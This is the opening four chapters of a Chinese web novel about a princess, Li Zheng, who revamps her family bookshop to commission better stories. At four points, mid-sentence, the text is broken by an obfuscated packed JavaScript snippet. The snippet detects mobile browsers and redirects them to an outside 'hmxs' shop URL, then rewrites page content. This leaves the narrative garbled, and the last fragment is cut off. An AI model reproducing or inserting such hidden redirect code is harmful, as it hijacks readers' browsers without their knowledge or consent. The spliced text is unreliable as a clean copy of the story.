《京城话本铺》 1. 初有想法 李铮窝在摇椅里，一边晃悠，一边数着头顶上的叶子：“九十八，九十九，一百。” 瓦舍的杂耍她都看了一遍，话本更是翻卷了边，没一本新鲜的。每天闲得发慌，无聊到去数叶子。 祖母最近也没来信，李铮只好又把以往的拿出来翻看。那些话本很多还不如祖母写得有意思。要不下次祖母回来，问问看祖母愿不愿写游记吧。 早两年她还天真地以为，话本就和祖母写的信差不多，都是讲故事，都会很有意思。后来发现，根本不是这样的，大部分都不好看。 怎么洛川城里的聪明人，都不琢磨新花样呢，难道是写话本不挣钱？ 不应该啊，写得好看的话本，肯定不少人愿意看。 思索半天，也没能想出个好主意。李铮一向认为吃喝玩乐是人生大事，安郡王夫妇也不拘束她。猛地一怔，脑海划过一个念头，她嗖的一下从摇椅上跳起来，抓住身旁的周嬷嬷：“嬷嬷，他们都做不出来好玩的，我自己来不就好了！我喜欢看什么，就找人来写什么。” 周嬷嬷被她晃地踉跄两步：“县主说的是。您心思灵活，又有钱有闲，定能整出好看的话本。” 李铮得意地扬了扬下巴，好似想到了以后的盛况。城里百姓闲来无事都爱看话本，尤其喜欢她刊刻的话本。 说干就干，她快步走到书桌前。桌上还散着几册磨了边的话本，话本推到一旁，拿出纸笔，她觉得自己必须好好合计该如何做。 想做成事，必得有靠谱的人手，虽然她不用亲自动手忙活，但须得清楚里头的门道。要不然容易被底下人糊弄。 比如去年府里办宴，母亲张氏让她帮着管厨房，兴许是那管事打量她啥都不懂，竟报上来二两银子一颗的鸡蛋，五两银子一条的鱼，真当她是傻子不成。 还好她平日跟在张氏身后学了不少本事，看出了破绽。查探一番后发现是这管事的儿子，赌输了钱，想着偷摸捞一笔银子。好在发现的早，要不然迟早给府里惹出大祸。 李铮盘了下府里她能指挥的人手。贴身伺候的几个丫鬟，手脚麻利；周嬷嬷办事稳妥，府里府外的事都门儿清；外院还有几个跑腿小厮；最后还有八名侍卫，不过侍卫主要是保护她的安全，轻易不能喊来忙别的事。 银钱的话，每个月都能收到二十两的月例，这都是她能自由支取的，张氏从不干涉。而且她的月例只用来额外玩耍，别的都是张氏安排好的，日积月累也攒下了几百两的现银。 张氏还早早就把几家铺子、两处近郊的小庄园划到她名下，说是让她学着打理家业。只是之前她贪玩，铺子上的事基本都交给掌柜做主，没真正上心过。 想到这，她叫来周嬷嬷：“嬷嬷，我的书铺现在大概什么情况。” 周嬷嬷想了下：“书铺现在主要是印着些经史子集，不过这是各家书铺都会卖的，所以生意中规中矩。话本是这两年开始卖的。原来哪有人看话本，也就这几年打仗少，赋税又低，识字看话本的人才多了。不过没有太热门的话本。” 李铮听完，笃定地点了点头，“嬷嬷，明天我们先去书铺瞧瞧，如今书铺的话本没什么好看的，我想先看看书铺的格局，再琢磨琢磨怎么改。“ 她现在连掌柜都没见过几回，对铺子了解不多，还是实地看看最好。 第二天天刚蒙蒙亮，她便起来了。往常这时辰，她都在睡觉。 安王府的规矩并不严苛，安王每五日要去上朝，原来她和弟弟都要上学，所以鲜少能凑在一起用早膳。也就今年她从女子学堂毕业了，才能时不时一块吃。 张氏和安王，素来疼惜她和弟弟，总觉得他们还小，没必要讲究这些晨昏定省。府医也说要睡够时辰养足精神，才是真正的养生之道。所以除了上学堂，姐弟俩基本没早起过。 估计也是因为睡够了时辰，她和弟弟才能吃嘛嘛香，从小身体就跟小牛犊似的。 他们家说是郡王府，但其实没实权，也就是个闲散宗室。胜在府里人员简单，没有姨娘妾室，只有四个正经主子，张氏，安王，她和弟弟。不过一般人也不会来招惹他们。好在张氏善经营，祖上家底也厚实，所以一家人的日子，宽裕又安稳，完全不缺银子。 两人对孩子要求也不高，健健康康长大。家里的银钱又够花，不用多有才华，只要明事理，能分辨是非，不被人骗就好了。 李铮到时，丫鬟们正在布菜。见她比往常早，张氏赶紧招呼她：“阿铮，可是有什么不舒服，今日怎么起得这般早。” 李铮笑着向前，挨着张氏坐下：“娘，我没什么不舒服的。” 顿了顿，她又说自己想开话本铺子。末了又补充道：“现在的话本子，全是落魄书生和豪门贵女，一点心意没有，这话本肯定都是穷书生写的。要是我写，肯定是落魄贵女和高门公子，再或者高门贵女吃喝玩乐记。咱们家都聪明，我出马肯定能征到好话本。” 拽了拽张氏的衣袖，她扑到张氏怀里，撒娇道：“娘，你就同意了吧。” 张氏知道女儿不会被话本骗，但看她没怎么开窍的样子，哭笑不得，只好用手指点了点李铮的额头：“你呀，想一出是一出，不过既然打算去做，就要认真做好，不可三天打鱼两天晒网，还有就是出门时一定要让侍卫们跟好。” “娘，你还不了解我吗，我最是注意安全了”李铮洋洋得意地说道。 张氏笑着拍了拍她的手：“好好好，那我们先吃早饭，饭后你再出去看铺子，外出时让周嬷嬷好好跟着你，碰见不懂的只管回来问，别怕麻烦，知道吗？” 早饭用了些鸡丝粥，还有小菜点心。待吃个七八分饱，李铮便起身告辞，带着周嬷嬷和丫鬟侍卫出了门。 她的书铺就在外城的书坊里。一到外城， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062429|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围猛地热闹起来了，行人说话声，铺子叫卖声，讨价还价声，此起彼伏。李铮很喜欢这里，这里有和内城不一样的地方。 有的店家认出李铮身份，连忙开始招揽。他们都知道福安县主是个大主顾，出手阔绰，还不仗势欺人。 “县主，可要看看我家的鹦鹉，可机灵了，还会揽客呢。” “县主，我家新出的纸鸢，保证飞得高，用得都是上好的麻线。” ----------------- 一下马车，她就看向了自家书铺。书铺上方挂着一面招牌，刻着“五柳斋”三个大字。张大掌柜正在店里招呼客人，稀稀拉拉，人并不多。 铺子不算大，但也五脏俱全，前店后院的格局。后院主要用于刻印、装订。 一进店铺就能看到这两年的科考真题集，摆得整整齐齐。往里走，左侧是经史子集，最下层放着启蒙的《三字经》《百家姓》。 右侧架子放了些打发时间用的话本画册。角落里还有几张桌子，几个书生正埋头抄书。衣衫洗得发白，看着就有些破旧，显然是家境贫寒的学生。 这几个书生也注意到了李铮，看李铮衣着不凡，眉眼间很是从容，店铺掌柜又恭恭敬敬跟在身后，反应过来李铮的身份，连忙低头请安。 店里客人不多，李铮示意他们不必多礼。目光看向他们几个：“几位郎君不必拘束，我是书铺的主家，今日想跟你们打听些事情，不知可方便？” 几位书生连忙点头应下。 李铮见他们应下，便开门见山问道：“我瞧着抄书也很辛苦，为何你们不去写话本。坊间有不少话本，卖得红红火火，那个看起来收益更高。” 几位书生也没觉得被冒犯，毕竟愿意来书铺抄书的都是知道自家真实情况的，家里供得艰难，他们学问又没优异到可以拿补助。 其中一位年纪稍长的书生，站起来拱手答道：“东家有所不知，抄书虽赚得少些，但是胜在稳当。只要字迹工整，没有错漏，掌柜便会按字结钱。” 旁边一瘦弱书生补充道：“写话本则不同，首先学堂并不教如何写话本，勉强写出来，书铺也不一定收。所以如果不是很擅长写故事，反而不如踏踏实实抄书收益高。” “而且能看话本，得先识字。城里识字，又愿意买话本的，只有小部分人。我们抄书，抄的都是经史子集，就算家境一般，咬咬牙也愿意买。” 李铮听完有些沉默；“要是写话本能赚得更多，你们可愿意试试？” 一书生答道：“东家，这得具体看高了多些，而且也得看自己有没有写话本的本事。” 听完，李铮轻轻颔首没多说什么，只道：“是我想得简单了。既如此，你们安心抄便是。”说罢，便朝掌柜的柜台走去。 她没急着同张大掌柜问话，只递了个眼神，示意自己先出去一趟。 2. 实地探访 一离开自家书铺，感觉周围都变得热闹起来了。 书坊上的书铺，一家挨着一家，檐下的招牌也各有讲究，或描金，或描黑。 隔壁卖笔墨的铺子，一伙计正在扯着嗓子吆喝，拖着长音：“上好的松烟墨嘞！各位客官，走过路过，不要错过啦。” 往前没走几步，又听得一声更响亮的吆喝声：“新出的《西厢记》绣像本！颜色精美，字字清晰无错漏。” 循着声音走进铺子，一下就瞧见货架上摆着的各色话本，封皮上有的印着仕女图，有的印着持剑的侠客，还有些印着手持红缨枪的将军。热闹极了。 铺子里的客人，比自家多多了，除了丫鬟，郎君，竟还有些穿着短打的市井汉子。都在话本架子前挑挑拣拣。 顺手挑了几本看着最显眼的，又转身去了别家书铺。 一路走下来，看了五六家，李铮心里也渐渐有了数。 门庭若市的那些铺子，无一不是话本卖得好的，而且个个都把话本摆在显眼的位置，恨不得路过的人，不进铺子就能看见。时不时还能听到伙计吆喝，某某居士新话本上新，速来买。 反观自家书铺，却把科考真题摆在最显眼的地方，话本只在靠墙架子上，难怪客人稀稀拉拉。 带着买来的几册话本，李铮回了自家书铺。 她打断自家书铺掌柜的动作，将刚才买的话本摊在柜台上。“张大掌柜，你先停一停。” 张大掌柜定眼一瞧，当即认出，这些都是别家书铺热销的话本。“县主，您是想我们也印些这种话本？不过好的话本才人不太好找。” 李铮指着摊开的话本，淡淡说道：“不是要印和他们一样的，而是那些生意好的铺子，无一不是话本卖得好的。说明就是会有很多人喜欢买话本。” “但我看这两年话本都是些老样子。再好看的话本，翻来覆去看，也会腻味。” “我要的不是和别家书铺一样热闹，而是好看的不老套的话本。” 张大掌柜愣了愣，沉吟道：“县主，是想广收话本？不过一是话本才人不好找，二是新本子没名气，未必有人愿意买。” 李铮点了点头，继续问道：“当前润笔费是如何算的？” “回县主，千字两百文。名气大的略高些，新人略降些。” 千字两百，一万字也就是二两银子，但是这一万字不知道要写多久，想必有才华愿意来投稿的人不多。 李铮不是不食人间烟火的人，她知道洛川城里十两银子就够普通人家一年吃穿了，可是真有才华的人哪里会为了这二两银子写话本，毕竟买断制，写得再好也没什么大用。 她想看话本，想看到有新花样的话本，就势必要让，一是之前不愿写话本的人，现在愿意写；二是原来写得不甚用心的人，现在愿意用心琢磨。 只有这样，才能一直有源源不断的新话本看。 要想马儿跑，必须给马儿吃草，李铮不吝于往外分钱：“往后每年，书铺盈利和现在比增加的部分，给你提半成。” 张大掌柜眼睛猛地一亮，他做这个书铺掌柜，一直中规中矩，毕竟按部就班就能拿钱，非要折腾反而容易被主家嫌不安分。 现下来了个愿意折腾的主子，也不打压，还愿意分钱，他开心坏了。 连忙拱手笑道：“县主放心，小人在这守了好几年的书铺了，往后定当竭尽全力，保准让生意红火起来，县主让我往东，我绝不往西。” 李铮见他一扫之前的疲惫，眉眼间充满干劲，笑了笑说道：“掌柜不必多礼，用心办事即可。” “这两日你好好琢磨琢磨，怎么才能招来更多的话本先生。”李铮又想到一事，补充道：“对了，我打算把话本润笔费也改成分成制，你回来测算下成本，把具体的账目报给我。” 张大掌柜连忙应下，正要回话，余光瞥到了柜台侧后方的女儿，心思忽地一动。 他的大女儿桂丫，论起头脑灵活、手脚麻利，周围同龄的小娘子，小郎君，没一个能比的。 平日在铺子整理书籍，帮忙做账，样样拿得出手。可是外面铺子愿意雇她的人很少。 因着李铮也是女子，他打算为女儿争取下：“好嘞，小人回去就整理。小人的大女儿经常在铺子里帮忙，人极伶俐，前两天还给书铺想了些点子，明天我们一起去府上给回话，您看成吗？” 一旁的桂丫，连忙上前请安，脆生生地说道“给县主请安。” 她抬眼时，眼神清亮，又很恭敬：“县主放心，我自小就在铺子里帮忙，认识些字，对书铺熟悉着呢。” 李铮轻轻颔首道：“行，那明日你们一起过来，只要是个得用的，都有赏银拿。” 李铮素来不怕人多，只怕得用的人少。 这话一出，铺子里的伙计都听得心头火热，他们觉得生活更有奔头了，自己好好跟着干，说不准也能拿赏银。 临走时，李铮又让张大掌柜拿了几本最近畅销的话本。 ----------------- 回到家中，这个时间，若是父亲安王没外出，定是在后院的池塘里钓鱼，或是在收藏室，欣赏他的那些古玩。 母亲张氏则是和丫鬟们一起琢磨衣服首饰，他们家衣服首饰生意好，多亏了张氏喜欢琢磨这个。 李铮脚步轻快，还没到张氏跟前，李铮就扬着声音喊了起来，眉眼间都是雀跃：“娘，我回来啦！” 进去时，张氏正拿着一根簪子端详，闻言笑着抬眼：“这是碰到什么喜事了，怎么这么高兴。” “娘，你没见我今天沉稳的模样。”李铮说完，就扭头看向一旁的周嬷嬷。 周嬷嬷闻言，连忙上前笑着回话：“夫人，县主今日当真沉稳得很，同张大掌柜说话时，句句都有条有理，半点不见平日和您说话时的孩子气。” 李铮又笑着凑到张氏跟前：“平日我那叫彩衣娱亲，外人面前还是很端得住的。” 张氏被她拼命耍宝的模样，逗得哭笑不得。 玩笑了一会，李铮正色看向张氏：“今日除了咱自家的五柳斋，还另去了别家书铺，几家生意红火的，都是话本卖得好的。” “不过他们的话本，我大致看了几眼，都是些常见的。看几本还行，若是一直看，肯定就腻烦了。” “我打算提高润笔费，一是想让平日不写的也来写；二是让他们有个盼头，只要自己写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062430|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得好，就能多挣钱。” 张氏放下手中的簪子，想了想对李铮说：“话本是人写出来的，你得先弄清楚，自己想要什么，这样底下的人才能帮你做好。” 说完，她顿了顿，又问道：“还要想明白，你是只为了自己看，还是想顺带把书铺生意做好，再或者有别的想法。这几者区别是很大的。” 李铮思忖片刻：“我想有源源不断的好话本看，不光是自己看，还想让大家也能看到好看的话本。” “这两年，我最期待的就是收到祖母信的日子。信里是祖母的人生，她碰到哪些人，见到哪些风景，吃过哪些食物，有时还会有她听过的故事。有意思极了。” “还有那些说书的，台上，说书先生讲得眉飞色舞；台下，百姓听得十分入迷，有那投入的，还会跟着笑，跟着哭。台上说得尽兴，台下听得过瘾。” “那些喜欢看戏的人也是，看得就是戏班子演绎的故事。” “母亲你瞧，”李铮声音有些抖：“好故事就是能让人兴奋，让人悲痛，让人满足。” “我想做的就是，把这些能让人兴奋、悲痛，满足的故事，印到纸上。” “故事可能会消失，但是印成话本，变成文字，就能流传更广。一场戏才能多少人看到，但是话本，能让更多的人，知道这个故事。” “当然这不是说，说书先生或戏班子不好，只是说他们的演绎，无法留存。而文字可以。” “三者也不是竞争关系，而是互相影响。” “阿娘你想，就算是同样的故事，读话本，听说书，看戏班子演戏，肯定是不同的感受对不对。” 见张氏点头，李铮继续往下说：“所以好故事才是最重要的，想收集故事，两种方法，要么口述，要么文字。对书铺来说，肯定是文字方便。” “有了好的故事，客人得到满足，店里生意好转，写话本的自然而然挣到了钱，大家都有收获。现在是因为润笔费少，好话本少，才没转起来。” “所以我打算提高话本才人的润笔费。让他们挣到的银钱，跟销量挂钩，只要卖得好，就能挣得更多的银钱。” 听完李铮这长长一段话，张氏有些怔住。 她原以为李铮不过是一时兴起，只是想找话本才人写几本新鲜的话本看。自家也不缺钱，就随她折腾去了。 没想到竟想了这般多。连说书先生和戏班子都提到了，还看透了长远生意的门道。 愣了片刻，她才轻轻地拍了拍李铮的肩，眼底全是骄傲和自豪。她的女儿，头脑聪明，心思灵活。 笑着看向李铮：“没想到你竟想了这般多，之前是娘小瞧你了。不知不觉，你竟这般厉害了。” “既然已经想清楚，那就大胆放手去做吧，不要怕亏钱。书铺大掌柜是个踏实的，其他小厮丫鬟，你可以多留心观察，看谁肯做事。” “有拿捏不准的地方，不用怕出错。拿不定主意的，只管来府里问我，或者问你父亲。千万不要不好意思。而且出错了也不要紧，改掉就好了。” 李铮听完重重点头，顺势又趴在张氏膝头，好好腻歪了一会儿。 心里那点隐约的忐忑，也都消失不见了。 3. 掌柜回话 安王府饭厅，一家人吃完晚饭，正围在一起闲聊。自然而然地，他们聊到了李铮的话本铺。 李铮干劲满满的，又把下午想到的东西，和安王说了下。 安王听得频频颔首，和张氏一样，他既欣慰又骄傲。 待李铮说完，他笑着说道：“阿铮的这个想法不错，等回来有了新话本，父王一定第一个去看。” 他略一沉吟，又道：“金管事的孙子金竹，手脚利落又识字，往后有需要在外面跑腿的差事，都可以让他来。” 想到可能会碰到麻烦，他又严肃地看向李铮：“头一回主事，难免碰到棘手的事。不要慌，只管使人来找我或者你阿娘，不要慌乱。咱们家大事小事可都是我和你阿娘在管的。” 张氏也在一旁笑着附和：“正是这个理。万事有我们在呢。” 说起她家的事务，其实平时的田庄铺子这些庶务，多是张氏在管。安王平时主要上上朝，然后衙门点个卯，待到中午左右就可以下值了。毕竟他只是挂名闲职，重大事务到场即可。 晚上躺在床上，李铮脑子里还全是书铺的事，一会琢磨分成到底该怎么定，一会又盘算着该怎么让大家知道他们润笔费改了。翻来覆去半天没合眼。 周嬷嬷轻手轻脚走进来，见她睁着眼睛还没睡，便上前掖了掖被子，又轻声道：“县主，您怎么还不睡觉？再不睡，明天您就该起不来了。” 李铮这才回过神来，明天还有正事要做，不能再熬夜了。便赶紧闭上眼睛酝酿睡意，没一会儿就沉沉睡去。 第二天上午，日头暖洋洋的，李铮正窝在躺椅上晒太阳，正闭目养神，丫鬟便踩着碎步跑过来，笑着回话：“县主，书铺的张大掌柜和他女儿桂丫，已经在门外候着了。” 李铮闻言，连忙坐直身子：“让他们先去花厅候着，我稍后就到。” 去到书房，带上昨日整理的小册子，她信步往花厅走去。 花厅内，张大掌柜和他家闺女桂丫已经低头候着，听到李铮进来，赶忙躬身问好：“县主万安。” “您昨日吩咐的征书活动，我们是这么想的，除了征集话本外，咱们还可以雇几个人，去收集好故事，尤其是上年纪的人，他们知道的稀奇古怪的故事可多呢，不一定会写字，只要会讲，店里再雇几个会写字能把故事整理清楚的，保管能收到不少好稿子。” 李铮听完眼前微微一亮，直起身子道：“这是谁想出来的？这主意不错，识字的人有故事，不识字的人也有故事。” “不过征集口述故事，难就难在如何收故事，如何整理，这两步都需要懂故事的人。不像话本，收上来就是整理好的故事。以后可以尝试，届时故事要是多，还可以办个故事报。” 桂丫听到李铮夸赞，连忙笑着回话：“多谢县主夸奖，这不过是民女平日爱和街坊邻居闲聊罢了。” 越说她越激动：“有些故事可有意思了，有讲自家有狐狸大仙的，还有说自己碰到过佛祖显灵，也有说自家祖宗显灵的，可神奇了。”其实还有些家长里短，谁家年纪一大把还爱纳妾，谁家老人偏心，不过她没好意思跟李铮讲。 “竟然还有说自家祖宗显灵的，这不是骗人的吗？”李铮有些纳闷。 她开始眉飞色舞地讲起来：“县主没想错，就是骗人的。” “其实是一个书生在城里读书，染了赌瘾，嫌家里给的钱少，就和家里人说同窗介绍给他一桩好生意，本来家里人将信将疑。” “他呢，主意多，找了个道士，整了点小把戏，装作祖宗显灵。家里人就都相信了。您知道的，普通老百姓，可相信这套了，谁能想到这是他在骗人呢？把钱骗到手，他就回城里潇洒了。” “那他家里人怎么发现的呢”李铮好奇道。 桂丫越说越兴奋：“县主，您肯定想不到，他不只骗了家里人，还向不少同窗借钱，说要做生意。” “同窗们本来没想太多，是因为他忽然不去学堂上课，大家一合计才发现几乎都被他借了钱，少的三五两，多的十几两。” “都不想白白吃亏，他们便一块闹到了这书生的家里，这才东窗事发的。” “书生家里人没办法，只好卖了田产还钱。不过还是有一部分没还清，最后十来个同窗就联合起来把这有赌瘾的书生告上了公堂。” “老两口知道儿子有赌瘾后，也知道这就是个无底洞，把命卖了也填不满。索性狠狠心直接跟族里说以后再不认这个儿子。” “他们以后就踏踏实实守着孙辈过日子，儿子要是回来，族里也千万不要借钱给他，往后谁再借钱给他儿子，谁借的就找谁还，我们是不会管的。” 李铮最是见不得坏人有好下场，听到结局是这书生被除族，还算满意。 “你这故事不错，会写字吗，会写字可以整理下来，要是以后故事报成了，说不准你的文章也能上报”。 桂丫连连点头：“回县主，我识字的。” 李铮想了想，又问道：“分成费章程定了吗？” 张大掌柜忙上前回话：“一册话本，大概能卖五百文，如果是手抄，那就至少要分给抄书先生一半；如果是刻印，要考虑前期雕版费，五十本以下都是不划算的，不过卖的越多越划算。” “改成分成制之后，基础润笔费可以定为五百文，然后卖一册提二十五文，这样的话卖出二十本，就和之前的润笔费是一样的，之后销量越高，写话本的挣得就越多。” 李铮点头应是：“收稿不用局限字数，就看精不精彩。除了话本，之后桂丫收口述故事的主意也能做，不过不急现在，先忙话本。”思忖半刻，李铮又问道：”如何宣传，你们可有主意了。” “我们想了两个点子，一个是让来铺子的书生帮忙宣传，给他们抹掉零头；二是写些招贴，雇些小孩，让他们走街串巷帮忙宣传”。 李铮点点头，她知道很多小孩都要上工干活的，好在发招贴的活不算太重。“这些小孩，一人发一身衣裳。要一模一样的，一看就知道是一家的。” 想到自己昨天睡前想的主意，又看向金竹：“金竹，那告示你也拿些，瓦子勾栏都贴些。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062431|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “明天先做招贴，定好具体的章程；要支钱就先找账房，回来拿收条销账就行。” “之后每月从铺子公账上支八百文，算作桂丫的月钱。” 一听有月钱，桂丫顿时喜不自胜，之前都是干杂活，拿的和其他小工一样。 从今日起，她就不一样了，可以拿八百文，城里很多壮劳力还没她挣得多。而且风吹不着，雨晒不着。虽说这钱娘肯定会收一部分，但以后她就有闲钱，想吃肉吃肉，想吃糖吃糖了。 “审稿人，我已经在找，铺子若发现好用之人也可上报，举荐之人有赏。人未招到前，你们先审，看完再拿到我这儿来。” 事情聊得差不多了，李铮就让丫鬟送两人出去了。 ----------------- 回到家中，张大掌柜看向还在偷着乐的桂丫，对着自家娘子王氏说起今天的事情：“你不知咱们桂丫多有福气，今日县主对桂丫可满意了，说不准以后她的月银就要赶上我。” “以后你可一定好好给县主干活，平日里忙也要多在县主前面露面。县主这人，宽和，从不打骂下人，而且干得好还有赏。这么好的主家，打着灯笼都找不到。” “爹你放心吧，我又不傻，肯定会好好干的，明天让小弟也跟着我打下手，咱们要做的事情不少。” “阿娘，以后我就有月银了，每月八百文。”桂丫手舞足蹈地说道。 王氏听完笑得合不拢嘴，家里又多了一笔进账，以后生活会好过很多，起码吃食上不用太拘束了。 摸了摸桂丫的脑袋：“真好啊，咱们桂丫真厉害，晚上给你杀只鸡吃，好好解解馋。以后月银就一分两半，一半娘给你存着，另一半你自己留着花。” “咱们发招贴的小孩去哪里雇，要不让娘先在周围邻居里问问，肯定有不少愿意来的。” 王氏点点头表示认同：“不过得找口齿伶俐的，还得能背下来吆喝词，要不一问三不知，反而碍了县主的正事。” “娘说的不错，隔壁王二婶家的元宝就不行，爱抢东西，还爱偷懒。小石头不错，他很机灵，上次还帮我跑腿了。这个活是有钱拿的，肯定不是谁来都行。” “审稿人，现下铺子没有太合适的，还得继续寻摸。”桂丫看向他爹道。 “是啊，审稿人可得好好选，之前铺子里话本儿不多，来来回回都是那几个书生投。现在县主喜欢看故事听故事，想把话本生意做大，肯定得找个靠谱的。” 几个人越聊思路越多，他们家明天每个人都得干活。王氏要向周边打探打探谁比较会讲故事，还得跟街坊邻居提前透露些消息，要雇半大孩子宣传，以防到时候找人找不到。桂丫和张大掌柜除了要看铺子，还得琢磨如果要雇书生润色故事，怎么个章程法。 事情千头万绪，只好一步一步来了。 夜里桂丫梦到她们的书铺变成了洛川城里最受欢迎的书铺，很多人争着抢着买她们的故事看，走在路上都能听到别人在讨论她们出的故事。她变成了大掌柜，月银比阿爹还多。 4. 千里马—审稿人张娘子 次日吃过早饭，李铮就开始干劲满满地琢磨书铺了。现在她也不觉得无聊了，每天非常充实。 以前没发现，这两天她才发觉，原来努力做事情这么有意思。 眼下最要紧的，是找到合适的审稿人。故事收上来，总得有个说法，告诉别人合不合用。铺子里现下没什么有学问的人，张大掌柜和桂丫还是以经营店铺做事为主。 指望她俩从书铺往来的书生里找到合适的，不知道得猴年马月，思来想去她觉得审稿人还是得她亲自去招。 掐着指头，李铮开始盘算起自己熟悉的人。同窗就不多说了，都是同龄人，有才华的不多，但凡有才学的都卯足劲去考科举了，肯定不会来她这。 思来想去，只能是托人介绍了。如果是让别人介绍，最合适的就是学院赵夫子了，接触的都是饱学之士，说不准就认识几个落魄文人。 拿定主意，李铮当即让丫鬟去备马车。 往日出门，她总爱撩着车帘，瞧着街面上的各色小摊，兴致来了，还会停下马车，买个糖画。 可这会，她全无心思，车外的吆喝声都入不了她的耳，满脑子都是待会该怎么开口。 她心里清楚，赵夫子身为学院夫子，是肯定不会屈尊降贵，来她这座小庙的。 她要的不过是句引荐，要求也不高，只要能按她的心意选稿，别太老古板就行。 还没到学院，就隐约听到了里面的读书声。 跟门口的仆人打声招呼，知道赵夫子还在上课，李铮便慢悠悠地去学堂闲逛了。 一段时间没来，学院的牡丹花开得热闹极了，也不知为什么，景色虽没太大变化，但这熟悉的书院总觉得有些陌生了，可能是因为，书院里多了些她没见过的面庞吧。 一直逛到丫鬟提醒快到下课时间了，她才赶紧去到赵夫子的书斋门口等待。 下课铃响。赵夫子穿着一身青色直缀，头上只简单挽了个发髻，就这么手拿书本走了过来，看到李铮还愣了下：“这不是李铮吗，怎么突然想到来书院了。” 李铮：“夫子安好，好久没见夫子，专门来看您。” 赵夫子：“我还不知道你吗，肯定无事不登三宝殿，说吧，因为什么来找我。” 李铮也不绕弯子，便把想开书铺、需人审稿的事一五一十说了。 末了又补充道：“我肯定是不敢劳烦您的，只是想求夫子帮忙引荐些怀才不遇的人。我的要求也不多，只要才华够用，别太老古板，能按我的想法把稿子挑出来就行。男子女子都行。” 赵夫子教过李铮，她知道李铮虽然有些爱玩乐，但做事情很有条理，而且李铮不爱欺负人，除非有人惹了她。 这么一想，其实李铮还是个很好的主家。 想到这，赵夫子开始认真思索自己圈子里有没有合适的人。 忽然，她想到一个人：“我一闺中朋友，原本她也很有才华的，最喜欢看书写故事。只是后来家道中落，她被家务事困住，没能来当夫子。我把她地址给你，再给你一封手信，你可以登门拜访，至于她愿不愿意去书铺，我就不能保证了。” “已经心满意足了。多谢赵夫子，我本来还头疼，到底去哪里找怀才不遇的人呢。” 赵夫子丝毫没拖延，念着后头还有课要上，便将地址说与李铮，又匆匆提笔写了封短笺，简单交代托她办事的缘由，随即携着书卷，步履匆匆地走了。 离开书院，李铮转身便去了通济坊。 赵夫子的朋友名叫张慧芝，夫家是个不入流小官儿，上有老，下有小。 循着巷子往里走，这巷子有些窄，李铮的马车虽过得去，但担心一不小心堵在里面，便干脆下车了。 环境还算整洁，就是院子都不大，只有一两进，偶尔还能听到些鸡鸭的叫声。 门没关，院子里有个七八岁小孩，正在背三字经。见到陌生人聚在自家门前，大声问道：“你要找谁，是来投稿子的吗？” “我是国子监赵夫子的学生，她介绍我来找张娘子。” “我娘不在家，出去抓药了。” “那她大概多久能回来？” “应当快回来了，药铺离这儿不远，拐过一两条巷子就到了。” 还要再等一会才能见到人，李铮索性带着丫鬟进了院子。门也继续开着，免得被误会成拍花子。 这小孩刚一见面就问是不是来投稿的，看来这张娘子虽然没当夫子，但平日也跟笔墨纸砚打交道呢。 看小孩年龄不大，李铮又让人从马车里拿了点糖给他吃。 小孩道了谢，他舔了舔嘴唇，没有吃。 张娘子穿着朴素，衣服洗得发白。见到家里有生人在等，她脸色猛地一变：“小娘子要找谁？莫不是找错了地方。” 李铮从袖中取出短笺：“我是赵夫子介绍而来，这是她的亲笔信，你看后便知缘由。” 张娘子刚要伸手去接，一阵急促的脚步声传来，坊主扯着嗓子在喊：“张三娘！县衙的人说了，你那话本作坊再不报备，今日就要关门！” 张娘子脸色霎时白了几分，她回头瞥了眼角落里堆着的话本底稿，又看了看李铮这身贵气逼人的打扮，心头猛跳了几下——难道是县衙派人来暗访的？可怎得是个小娘子。 李铮看出她的防备：“我跟县衙没什么关系，是学堂里的赵夫子引荐而来。你一看信便知。” 话音刚落，院外传来一声清咳，一头发略有些发白的长脸老翁出现在大门前，见到院中的李铮，明显一愣。 “老朽是这通济坊的坊主。”这老翁上前一步，目光在张娘子和李铮间打了个转。拱手问道：“敢问您是？” “这是福安县主。”一旁的周嬷嬷怕他冲撞，连忙报出身份。 “县主？”坊主闻言，手中文书差点掉地上。怎么这县主好端端地来了张娘子这。没来得及多想，他连忙拱手请安，语气也更恭敬：“给县主请安。老朽不知县主驾临，有失远迎。” 李铮没理会这些虚礼，开门见山问道：“这是怎么回事。” 坊主不敢隐瞒，连忙答道：“县主见谅，真不是我故意为难张娘子，老朽也是按章办事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 